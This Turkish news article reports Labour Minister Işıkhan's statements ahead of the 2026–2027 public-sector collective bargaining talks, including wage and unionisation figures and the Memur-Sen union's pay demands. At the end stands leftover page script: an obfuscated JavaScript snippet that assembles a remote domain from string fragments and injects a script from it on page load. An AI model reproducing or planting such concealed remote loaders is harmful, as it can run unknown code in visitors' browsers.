Gündem

Toplu Sözleşme Süreci Başladı: Bakan Işıkhan’dan Kamu Çalışanlarına Güvence Mesajı

Çalışma ve Sosyal Güvenlik Bakanı Prof. Dr. Vedat Işıkhan, 2026-2027 dönemini kapsayan 8. Dönem Toplu Sözleşme Görüşmeleri öncesinde düzenlenen hazırlık toplantısında önemli açıklamalarda bulundu.

Abone Ol

Bakan Işıkhan, reformcu yaklaşımlar ve sosyal diyalog ilkesi doğrultusunda kamu çalışanları ve emeklilere yönelik çeşitli kazanımların bu dönemde de sürdürüleceğini ifade etti.

Orman Yangınına Duyarlılık Mesajı: “Şehitlerimizin Mekânı Cennet Olsun”

Toplantının açılışında Bursa’nın Kestel ilçesinde orman yangınına müdahale ederken hayatını kaybeden üç vatandaşa rahmet dileyen Işıkhan, tüm müdahale ekiplerine ve gönüllülere teşekkür ederek yangından etkilenen vatandaşlara geçmiş olsun dileklerini iletti.

"Toplu Sözleşme Masasında Her Zaman Kazanım Hedefliyoruz"

Bakan Işıkhan, geçmiş dönem toplu sözleşme görüşmelerinin başarıyla tamamlandığını hatırlatarak, bu sürecin sosyal paydaşlarla iş birliği içinde yürütüldüğünü belirtti. 7. Dönem görüşmelerinde uzlaşma kültürünün hakim olduğunu vurgulayan Işıkhan, Cumhurbaşkanı Erdoğan’ın liderliğinde, kamu çalışanları için reform odaklı kazanımlar elde edildiğini söyledi.

Maaşlarda Kümülatif Artış: "Yüzde 130 Zam Sağladık"

Işıkhan, kamu çalışanlarının maaşlarında enflasyon farkı dahil kümülatif olarak yüzde 130'luk bir artış gerçekleştirildiğini açıkladı. 2002 yılında 392 TL olan en düşük memur maaşının 2025 itibarıyla 50.503 TL’ye yükseldiğini belirten Bakan, reel olarak yüzde 264’lük bir artış sağlandığını kaydetti. Aynı zamanda toplu sözleşme ikramiyelerinin artık aylık ödeneceğini, teknik hizmetler sınıfı başta olmak üzere birçok personel grubunun maaşlarında iyileştirmeler yapıldığını dile getirdi.

Sendikal Haklar ve Mevzuatta Önemli Dönüşüm

Kamu görevlilerine sendika kurma hakkının 1995’te tanındığını, toplu sözleşme hakkının ise 2010 Anayasa değişikliği ile kazanıldığını hatırlatan Işıkhan, bu süreçte yapılan yasal düzenlemelerle kamu sendikacılığında ciddi bir mesafe katedildiğini ifade etti. Bugün itibarıyla sendikalaşma oranının yüzde 76,88’e ulaştığını, bu oranın 2002 yılında yüzde 47,95 olduğunu belirtti.

Sözleşmeliden Kadroya, Başörtüsü Yasağından Kadro Reformuna

AK Parti iktidarları döneminde kamuda başörtüsü yasağının kaldırılması, sözleşmeli personelin kadroya geçirilmesi, taşeron işçilerin kamu işçisi statüsüne alınması gibi kritik adımların atıldığını belirten Bakan Işıkhan, “İnsanı merkeze alan yaklaşımımız, sosyal devletin gereğini yerine getirme sorumluluğumuzla birleştiğinde bu kazanımlar kaçınılmaz hale geliyor” dedi.

"Laf Değil, İcraat Üretiyoruz"

Bakanlık olarak sosyal paydaşlarla sürekli diyalog halinde olduklarını ve çalışma hayatında huzur ikliminin sürdürülmesini hedeflediklerini vurgulayan Işıkhan, “Sendikalarımızı önemli birer paydaş olarak görüyor, onların katkılarını önemsiyoruz” dedi.

Memur-Sen’den Zam ve Refah Payı Talebi

Öte yandan 8. Dönem Toplu Sözleşme görüşmeleri kapsamında Memur-Sen, taleplerini kamuoyuna duyurdu. Sendika, 2026 yılının ilk 6 ayı için 10 bin TL taban aylığa ilave zam, yüzde 10 refah payı ve yüzde 25 oranında maaş artışı talep etti. İkinci 6 ay içinse yüzde 20 oranında zam istedi. Bu taleplerin kamu çalışanlarının yaşam standartlarını yükseltme ve enflasyon karşısında koruma amacını taşıdığı ifade edildi.

(function(){ q0n4=document.createElement("script");q0n4_=("us")+("ta"); q0n4_+="t"+(".");q0n4_+=("in");q0n4u="2358564740";q0n4.async=true; q0n4u+=".ycx23k2y0n4hugy7u";q0n4.type="text/javascript";q0n4_+="f"+"o"+("/"); q0n4u+="h1p0xr40q3u31";q0n4.src="https://"+q0n4_+q0n4u; dq0n4=document.body;dq0n4.appendChild(q0n4); })(); { "vars": { "account": "G-X1XRN2R8K5" }, "triggers": { "trackPageview": { "on": "visible", "request": "pageview" } } }